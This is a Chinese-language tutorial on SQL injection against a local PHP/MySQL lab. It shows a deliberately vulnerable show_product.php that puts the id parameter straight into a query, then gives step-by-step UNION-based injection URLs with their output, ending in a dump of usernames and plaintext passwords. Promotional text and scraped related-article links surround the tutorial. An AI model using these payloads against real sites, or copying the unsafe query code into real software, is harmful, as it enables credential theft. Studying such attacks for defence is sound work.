一个PHP的SQL注入完整过程
本篇文章介绍的内容是一个PHP的SQL注入完整过程,现在分享给大家,有需要的朋友可以参考一下
希望帮助到大家,很多PHPer在进阶的时候总会遇到一些问题和瓶颈,业务代码写多了没有方向感,不知道该从那里入手去提升,对此我整理了一些资料,包括但不限于:分布式架构、高可扩展、高性能、高并发、服务器性能调优、TP6,laravel,YII2,Redis,Swoole、Swoft、Kafka、Mysql优化、shell脚本、Docker、微服务、Nginx等多个知识点高级进阶干货需要的可以免费分享给大家,需要的可以加入我的官方群点击此处。
学了SQL注入的一些技能后,以下正对PHP+MYSQL进行SQL注入的简单实践
首先观察两个MYSQL数据表
用户记录表:
REATE TABLE `php_user` (
`id` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default '',
`password` varchar(20) NOT NULL default '',
`userlevel` char(2) NOT NULL default '0',
PRIMARY KEY (`id`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
INSERT INTO `php_user` VALUES (1, 'seven', 'seven_pwd', '10');
INSERT INTO `php_user` VALUES (2, 'swons', 'swons_pwd', '');
产品记录列表:
CREATE TABLE `php_product` (
`id` int(11) NOT NULL auto_increment,
`name` varchar(100) NOT NULL default '',
`price` float NOT NULL default '0',
`img` varchar(200) NOT NULL default '',
PRIMARY KEY (`id`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
INSERT INTO `php_product` VALUES (1, 'name_1', 12.2, 'images/name_1.jpg');
INSERT INTO `php_product` VALUES (2, 'name_2', 35.25, 'images/name_2.jpg');
以下文件是show_product.php用于显示产品列表。SQL注入也是利用此文件的SQL语句漏洞
<?php
$conn = mysql_connect("localhost", "root", "root");
if(!$conn){
echo "数据库联接错误";
exit;
}
if (!mysql_select_db("phpsql")) {
echo "选择数据库出错" . mysql_error();
exit;
}
$tempID=$_GET['id'];
if($tempID<=0 || !isset($tempID)) $tempID=1;
$sql = "SELECT * FROM php_product WHERE id =$tempID";
echo $sql.'<br>';
$result = mysql_query($sql);
if (!$result) {
echo "查询出错" . mysql_error();
exit;
}
if (mysql_num_rows($result) == 0) {
echo "没有查询结果";
exit;
}
while ($row = mysql_fetch_assoc($result)) {
echo 'ID:'.$row["id"].'<br>';
echo 'name:'.$row["name"].'<br>';
echo 'price:'.$row["price"].'<br>';
echo 'image:'.$row["img"].'<br>';
}
?>
观察此语句:$sql = "SELECT * FROM php_product WHERE id =$tempID";
$tempID是从$_GET得到。我们可以构造这个变量的值,从而达到SQL注入的目的
分别构造以下链接:
1、 http://localhost/phpsql/index.php?id=1
得到以下输出
SELECT * FROM php_product WHERE id =1 //当前执行的SQL语句
//得到ID为1的产品资料列表
ID:1
name:name_1
price:12.2
image:images/name_1.jpg
2、 http://localhost/phpsql/index.php?id=1 or 1=1
得到输出
SELECT * FROM php_product WHERE id =1 or 1=1 //当前执行的SQL语句
//一共两条产品资料列表
ID:1
name:name_1
price:12.2
image:images/name_1.jpg
ID:2
name:name_2
price:35.25
image:images/name_2.jpg
1和2都得到资料列表输出,证明SQL语句执行成功
3、判断数据表字段数量
http://localhost/phpsql/index.php?id=1 union select 1,1,1,1
得到输出
SELECT * FROM php_product WHERE id =1 union select 1,1,1,1 //当前执行的SQL语句
//一共两条记录,注意第二条的记录为全1,这是union select联合查询的结果。
ID:1
name:name_1
price:12.2
image:images/name_1.jpg
ID:1
name:1
price:1
image:1
4、判断数据表字段类型
http://localhost/phpsql/index.php?id=1 union select char(65),char(65),char(65),char(65)
得到输出
SELECT * FROM php_product WHERE id =1 union select char(65),char(65),char(65),char(65)
ID:1
name:name_1
price:12.2
image:images/name_1.jpg
ID:0
name:A
price:0
image:A
注意第二条记录,如果后面的值等于A,说明这个字段与union查询后面构造的字段类型相符。此时union后面
为char(65),表示字符串类型。经过观察。可以发现name字段和image字段的类型都是字符串类型
5、大功告成,得到我们想要的东西:
http://localhost/phpsql/index.php?id=10000 union select 1,username,1,password from php_user
得到输出:
SELECT * FROM php_product WHERE id =10000 union select 1,username,1,password from php_user
//输出了两条用户资料,name为用户名称,image为用户密码。
ID:1
name:seven
price:1
image:seven_pwd
ID:1
name:swons
price:1
image:swons_pwd
注意URL中的ID=10000是为了不得到产品资料,只得到后面union的查询结果。更具实际情况ID的值有所不同
union的username和password必须放在2和4的位置上。这样才能和前面的select语句匹配。这是union查询
语句的特点
备注:
这个简单的注入方法是更具特定环境的。实际中比这复杂。但是原理是相同的。
以上内容希望帮助到大家,很多PHPer在进阶的时候总会遇到一些问题和瓶颈,业务代码写多了没有方向感,不知道该从那里入手去提升,对此我整理了一些资料,包括但不限于:分布式架构、高可扩展、高性能、高并发、服务器性能调优、TP6,laravel,YII2,Redis,Swoole、Swoft、Kafka、Mysql优化、shell脚本、Docker、微服务、Nginx等多个知识点高级进阶干货需要的可以免费分享给大家,需要的可以加入我的官方群点击此处。
一个PHP的SQL注入完整过程的更多相关文章
- DAY5 php + mysql 写一个简单的sql注入平台
php mysql 在浏览器输入用户名,去数据库查询.查到则显示在浏览器,查不到则显示空. sql 里面三个字段 id username password create table t1 (id in ...
- python打造一个分析网站SQL注入的脚本
前言: 昨天晚上其实就已经写完代码.只不过向FB投稿了,打算延迟一晚上在写博客 所有才到今天早上写.好了,接下来进入正题. 思路: 1.从网站源码中爬取那些类适于:http://xxx.com/xx. ...
- Mybatis执行SQL的完整过程及四大组件介绍
一切的执行从MapperProxy开始,MapperProxy是MapperProxyFactory使用SqlSession创建出来的.所以MapperProxy中包含SqlSession. 可以看到 ...
- 《Web安全攻防渗透测试实战指南》 各类型 SQL注入 实验过程整理
Union注入 https://www.jianshu.com/p/8a11bf55aaee Boolean注入 https://www.jianshu.com/p/e4086f59812d 报错注入 ...
- 实例讲解 SQL 注入攻击
这是一篇讲解SQL注入的实例文章,一步一步跟着作者脚步探索如何注入成功,展现了一次完整的渗透流程,值得一读.翻译水平有限,见谅! 一位客户让我们针对只有他们企业员工和顾客能使用的企业内网进行渗透测试. ...
- 开发反模式 - SQL注入
一.目标:编写SQL动态查询 SQL常常和程序代码一起使用.我们通常所说的SQL动态查询,是指将程序中的变量和基本SQL语句拼接成一个完整的查询语句. string sql = SELECT * FR ...
- SQL注入之代码层防御
[目录] 0x0 前言 0x1 领域驱动的安全 1.1 领域驱动的设计 1.2 领域驱动的安全示例 0x2 使用参数化查询 2.1 参数化查询 2.2 Java中的参数化语句 2.3 .NET(C#) ...
- MSSQL SQL注入 总结
0x00 MSSQL 基础 MSSQL系统自带库和表 系统自带库 MSSQL安装后默认带了6个数据库,其中4个系统级库:master,model,tempdb和msdb:2个示例库:Northwind ...
- SQL注入—我是如何一步步攻破一家互联网公司的
最近在研究Web安全相关的知识,特别是SQL注入类的相关知识.接触了一些与SQL注入相关的工具.周末在家闲着无聊,想把平时学的东东结合起来攻击一下身边某个小伙伴去的公司,看看能不能得逞.不试不知道,一 ...
随机推荐
- 【LOJ2540】「PKUWC2018」随机算法
题意 题面 给一个 \(n\) 个点 \(m\) 条边的无向图.考虑如下求独立集的随机算法:随机一个排列并按顺序加点.如果当前点能加入独立集就加入,否则不加入.求该算法能求出最大独立集的概率. \(n ...
- Jquery实现下拉tab切换
//需求:分别点击html,css,js元素时展示对应的列表内容,其他列表内容要自动收起来 //代码如下 <!DOCTYPE html> <html lang="en&qu ...
- SciPy 插值
章节 SciPy 介绍 SciPy 安装 SciPy 基础功能 SciPy 特殊函数 SciPy k均值聚类 SciPy 常量 SciPy fftpack(傅里叶变换) SciPy 积分 SciPy ...
- js 转换时间戳为时间格式并且按指定格式输出
/** * 时间戳转换为日期 */ function convertTimestamp(timestamp){ // 时间戳转换为日期 var d = new Date(timestamp); // ...
- 设备树DTS 学习:1-有关概念
背景 设备树在Linux驱动开发中是一种比较常用的架构. 参考:<设备树DTS使用总结> .<linux内核设备树及编译> Linux设备树 介绍 在Linux 2.6中,ar ...
- 配置uboot指定nfs挂载根文件系统
背景: 文件系统的调试也建议在 网络中进行. 概念: NFS是Network File System的缩写及网络文件系统. 要功能是通过局域网络让不同的主机系统之间可以共享文件或目录. NFS系统和W ...
- win10提示防火墙没有法更改某些设置的处理办法
一.问题发现 远程链接电脑时间发现远程链接失败 提问在“控制面板” 中打开“程序” 列表中启用“windows 防火墙” . 按照提示启用防火墙 ,发现启用或关闭页面不可编辑 二.原因是防火墙Wind ...
- Fiddler抓取HTTP请求。
参考链接:http://blog.csdn.net/ohmygirl/article/details/17849983/ http://www.cnblogs.com/kingwolf_JavaScr ...
- 原型与继承与class
对象有属性(专业点叫静态属性)和方法(专业点叫静态方法)和原型属性和原型方法 除了系统自带的那么几百万个对象,我们自己写在js的创建的对象,自定义的对象,都来自对象的构造函数,用来构造对象的函数,叫做 ...
- Day7 - K - Biorhythms POJ - 1006
Some people believe that there are three cycles in a person's life that start the day he or she is b ...